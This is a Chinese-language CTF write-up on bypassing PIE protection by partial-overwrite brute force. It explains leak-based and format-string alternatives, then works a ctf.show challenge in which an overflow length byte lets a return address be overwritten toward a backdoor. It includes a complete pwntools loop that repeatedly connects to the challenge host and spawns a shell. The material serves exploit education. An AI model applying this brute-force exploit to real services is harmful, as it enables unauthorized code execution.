开启pie保护后的狠狠爆破
开启pie保护后的狠狠爆破
知识点
开启pie保护后,程序在每次加载时都会变换基地址,从而使gadgets失效,下面来讲绕过手法
1.如果程序中能输出当前进程中某个函数的地址,那么就可以接收它并减去ida中的地址即可得到该进程中的基地址,再用此基地址加上ida中的偏移地址就是正确的地址了
2.如果程序中有格式化字符串漏洞,可以利用该漏洞泄露某个函数的地址(之前做过一题是泄露ret地址),之后的步骤同上
3.如果什么都没有,可以采取爆破的方法。
原理:由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后3个十六进制数的地址是始终不变的。我们可以先按小端序写入两个字节,覆盖后4个十六进制数地址。这时候就会有疑问了,倒数第4个十六进制数明明不是固定的,而我们却给它覆盖掉,看似很不合理,但其实倒数第4个数也是我们要爆破的一部分,爆破本身就是随机的,所以这一点对爆破不会产生影响。
例题
开启了pie保护,先ida看一下主函数
观察set_user和set_pwn的代码,第一个函数是从v1+140开始存41个字符,第二个函数是把s复制到v1中,而复制的长度就是第一个函数所控制的v1+180的值,而这个值可以比v1大,也就出现了栈溢出漏洞。所以我们先给第一个v1填充40后,最后一个字符放下一次栈溢出想填充的空间。
我们接着往后看,发现有后门函数,我们当然想让返回地址存后门函数的地址,但是由于pie保护,我们只能知道该地址的最后3个数
函数地址后三个数为900,但是后面试过900行不通,要901,跳过一个push rbp避免栈上混乱
现在想一想我们第二个函数栈溢出需要多少空间,我们不需要构造rop链,只要填两个字节,剩下的交给while循环爆破就好了,所以需要的长度为0xc0+8+2=0xca,即我们第一个函数中的第41个字符要输入’\xca’,后续的爆破用的板子,见exp:
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
context.terminal = ['tmux', 'splitw', '-h']
i = 0
while True:
i += 1
print(i)
io = remote('pwn.challenge.ctf.show',28145)
\#io = process('./pwn')
payload = b'a'*40
payload += b'\xca'
io.sendline(payload)
payload = b'a'*200
payload += b'\x01\x09' //09也可以改成19,29,39…
io.sendline(payload)
try:
io.recv(timeout = 1)
except EOFError:
io.close()
continue
else:
sleep(0.1)
io.sendline('/bin/sh\x00')
sleep(0.1)
io.interactive()
break






